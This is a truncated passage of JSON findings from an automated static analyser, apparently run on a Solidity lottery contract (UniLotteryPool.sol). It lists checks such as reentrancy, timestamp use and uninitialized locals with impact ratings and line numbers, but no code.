5333, 5334, 5335, 5336, 5337, 5338, 5339, 5340, 5341, 5342, 5343, 5344, 5345, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5355, 5356, 5357, 5358, 5359, 5360, 5361, 5362, 5363, 5364, 5365, 5366, 5367, 5368, 5369, 5370, 5371, 5372, 5373, 5374, 5375, 5376, 5377, 5378, 5379, 5380, 5381, 5382, 5383, 5384, 5385, 5386, 5387, 5388, 5389, 5390, 5391, 5392, 5393, 5394, 5395, 5396, 5397, 5398, 5399, 5400, 5401, 5402, 5403, 5404, 5405, 5406, 5407, 5408, 5409, 5410, 5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418, 5419, 5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427, 5428, 5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436, 5437, 5438, 5439, 5440, 5441, 5442, 5443, 5444, 5445, 5446, 5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5469, 5470, 5471, 5472, 5473, 5474, 5475, 5476, 5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485, 5486, 5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494, 5495, 5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503, 5504, 5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512, 5513, 5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521, 5522, 5523, 5524, 5525, 5526, 5527, 5528, 5529, 5530, 5531, 5532, 5533, 5534, 5535, 5536, 5537, 5538, 5539, 5540, 5541, 5542, 5543, 5544, 5545, 5546, 5547, 5548, 5549, 5550, 5551, 5552, 5553, 5554, 5555, 5556, 5557, 5558, 5559, 5560, 5561, 5562, 5563, 5564, 5565, 5566, 5567, 5568, 5569, 5570, 5571, 5572, 5573, 5574, 5575, 5576, 5577, 5578, 5579, 5580, 5581, 5582, 5583, 5584, 5585, 5586, 5587, 5588, 5589, 5590, 5591, 5592, 5593, 5594, 5595, 5596, 5597, 5598, 5599, 5600, 5601, 5602, 5603, 5604, 5605, 5606, 5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614, 5615, 5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623, 5624, 5625, 5626, 5627, 5628, 5629, 5630, 5631, 5632, 5633, 5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641, 5642, 5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651, 5652, 5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661, 5662, 5663, 5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5672, 5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681, 5682, 5683, 5684, 5685, 5686, 5687, 5688, 5689, 5690, 5691, 5692, 5693, 5694, 5695, 5696, 5697, 5698, 5699, 5700, 5701, 5702, 5703, 5704, 5705, 5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732, 5733, 5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755, 5756, 5757, 5758, 5759, 5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5780, 5781, 5782, 5783, 5784, 5785, 5786, 5787, 5788, 5789, 5790, 5791, 5792, 5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819, 5820, 5821, 5822, 5823, 5824, 5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848, 5849, 5850, 5851, 5852, 5853, 5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877, 5878, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887, 5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5897, 5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908, 5909, 5910, 5911, 5912, 5913, 5914, 5915, 5916, 5917, 5918, 5919, 5920, 5921, 5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963, 5964, 5965, 5966, 5967, 5968, 5969, 5970, 5971, 5972, 5973, 5974, 5975, 5976, 5977, 5978, 5979, 5980, 5981, 5982, 5983, 5984, 5985, 5986, 5987, 5988, 5989, 5990, 5991, 5992, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015, 6016, 6017, 6018, 6019, 6020, 6021, 6022, 6023, 6024, 6025, 6026, 6027, 6028, 6029, 6030, 6031, 6032, 6033, 6034, 6035, 6036, 6037, 6038, 6039, 6040, 6041, 6042, 6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079, 6080, 6081, 6082, 6083, 6084, 6085, 6086, 6087, 6088, 6089, 6090, 6091, 6092, 6093, 6094, 6095, 6096, 6097, 6098, 6099, 6100, 6101, 6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123, 6124, 6125, 6126, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6169, 6170, 6171, 6172, 6173, 6174, 6175, 6176, 5106, 5107, 5108, 5109, 5110, 5111, 5112, 5113, 5114, 5115, 5116, 5117, 5118, 5119, 5120, 5121, 5122, 5123, 5124, 5125, 5126, 5127, 5128, 5129, 5130, 5131, 5132, 5133, 5134, 5135, 5136, 5137, 5138, 5139, 5140, 5141, 5142, 5143, 5144, 5145, 5146, 5147, 5148, 5149, 5150, 5151, 5152, 5153, 5154, 5155, 5156, 5157, 5158, 5159, 5160, 5161, 5162, 5163, 5164, 5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204, 5205, 5206, 5207, 5208, 5209, 5210, 5211, 5212, 5213, 5214, 5215, 5216, 5217, 5218, 5219, 5220, 5221, 5222, 5223, 5224, 5225, 5226, 5227, 5228, 5229, 5230, 5231, 5232, 5233, 5234, 5235, 5236, 5237, 5238, 5239, 5240, 5241, 5242, 5243, 5244, 5245, 5246, 5247, 5248, 5249, 5250, 5251, 5252, 5253, 5254, 5255, 5256, 5257, 5258, 5259, 5260, 5261, 5262, 5263, 5264, 5265, 5266, 5267, 5268, 5269, 5270, 5271, 5272, 5273, 5274, 5275, 5276, 5277, 5278, 5279, 5280, 5281, 5282, 5283, 5284, 5285, 5286, 5287, 5288, 5289, 5290, 5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298, 5299, 5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307, 5308, 5309, 5310, 5311, 5312, 5313, 5314, 5315, 5316, 5317, 5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325, 5326, 5327, 5328, 5329, 5330, 5331, 5332, 5333, 5334, 5335, 5336, 5337, 5338, 5339, 5340, 5341, 5342, 5343, 5344, 5345, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5355, 5356, 5357, 5358, 5359, 5360, 5361, 5362, 5363, 5364, 5365, 5366, 5367, 5368, 5369, 5370, 5371, 5372, 5373, 5374, 5375, 5376, 5377, 5378, 5379, 5380, 5381, 5382, 5383, 5384, 5385, 5386, 5387, 5388, 5389, 5390, 5391, 5392, 5393, 5394, 5395, 5396, 5397, 5398, 5399, 5400, 5401, 5402, 5403, 5404, 5405, 5406, 5407, 5408, 5409, 5410, 5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418, 5419, 5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427, 5428, 5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436, 5437, 5438, 5439, 5440, 5441, 5442, 5443, 5444, 5445, 5446, 5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5469, 5470, 5471, 5472, 5473, 5474, 5475, 5476, 5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485, 5486, 5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494, 5495, 5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503, 5504, 5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512, 5513, 5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521, 5522, 5523, 5524, 5525, 5526, 5527, 5528, 5529, 5530, 5531, 5532, 5533, 5534, 5535, 5536, 5537, 5538, 5539, 5540, 5541, 5542, 5543, 5544, 5545, 5546, 5547, 5548, 5549, 5550, 5551, 5552, 5553, 5554, 5555, 5556, 5557, 5558, 5559, 5560, 5561, 5562, 5563, 5564, 5565, 5566, 5567, 5568, 5569, 5570, 5571, 5572, 5573, 5574, 5575, 5576, 5577, 5578, 5579, 5580, 5581, 5582, 5583, 5584, 5585, 5586, 5587, 5588, 5589, 5590, 5591, 5592, 5593, 5594, 5595, 5596, 5597, 5598, 5599, 5600, 5601, 5602, 5603, 5604, 5605, 5606, 5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614, 5615, 5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623, 5624, 5625, 5626, 5627, 5628, 5629, 5630, 5631, 5632, 5633, 5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641, 5642, 5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651, 5652, 5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661, 5662, 5663, 5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5672, 5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681, 5682, 5683, 5684, 5685, 5686, 5687, 5688, 5689, 5690, 5691, 5692, 5693, 5694, 5695, 5696, 5697, 5698, 5699, 5700, 5701, 5702, 5703, 5704, 5705, 5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732, 5733, 5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755, 5756, 5757, 5758, 5759, 5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5780, 5781, 5782, 5783, 5784, 5785, 5786, 5787, 5788, 5789, 5790, 5791, 5792, 5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819, 5820, 5821, 5822, 5823, 5824, 5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848, 5849, 5850, 5851, 5852, 5853, 5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877, 5878, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887, 5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5897, 5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908, 5909, 5910, 5911, 5912, 5913, 5914, 5915, 5916, 5917, 5918, 5919, 5920, 5921, 5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963, 5964, 5965, 5966, 5967, 5968, 5969, 5970, 5971, 5972, 5973, 5974, 5975, 5976, 5977, 5978, 5979, 5980, 5981, 5982, 5983, 5984, 5985, 5986, 5987, 5988, 5989, 5990, 5991, 5992, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015, 6016, 6017, 6018, 6019, 6020, 6021, 6022, 6023, 6024, 6025, 6026, 6027, 6028, 6029, 6030, 6031, 6032, 6033, 6034, 6035, 6036, 6037, 6038, 6039, 6040, 6041, 6042, 6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079, 6080, 6081, 6082, 6083, 6084, 6085, 6086, 6087, 6088, 6089, 6090, 6091, 6092, 6093, 6094, 6095, 6096, 6097, 6098, 6099, 6100, 6101, 6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123, 6124, 6125, 6126, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2098]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7693]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8268]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2709]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1832]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5966]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5966]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6076]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2470]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2435, 2436]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7793]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2201]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7783]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6716]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1604]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1889]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1889]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1875]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5158]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6669]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2728]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8269]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2206]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2722]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7675]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6568]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2209]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2313]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1919]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2423]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6662, 6663, 6664, 6665, 6666]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6579]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2603]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2338]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8397]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1835]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6720, 6719]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7703, 7704, 7705, 7706, 7707, 7708]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2728]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2971]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8157]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1919]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7703, 7704, 7705, 7706, 7707, 7708]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2722]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7675]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7783]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8268]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8397]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6584]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1776]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2708]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5139]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2994, 2995, 2996]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2497, 2498, 2499]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1892, 1893, 1894]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2643, 2644, 2645, 2646]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8546, 8547, 8548]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1571]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1741]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1659, 1660, 1661, 1662, 1663]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2521, 2522, 2523, 2524, 2525, 2526]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [540]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5957]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5954]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5489]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5293]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5953]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5955]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5237]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5302]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5952]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5269]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [540]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5498]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5261]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [540]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5958]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5229]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5956]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5959]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2068]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6710]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5900]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [4451]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5912]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": 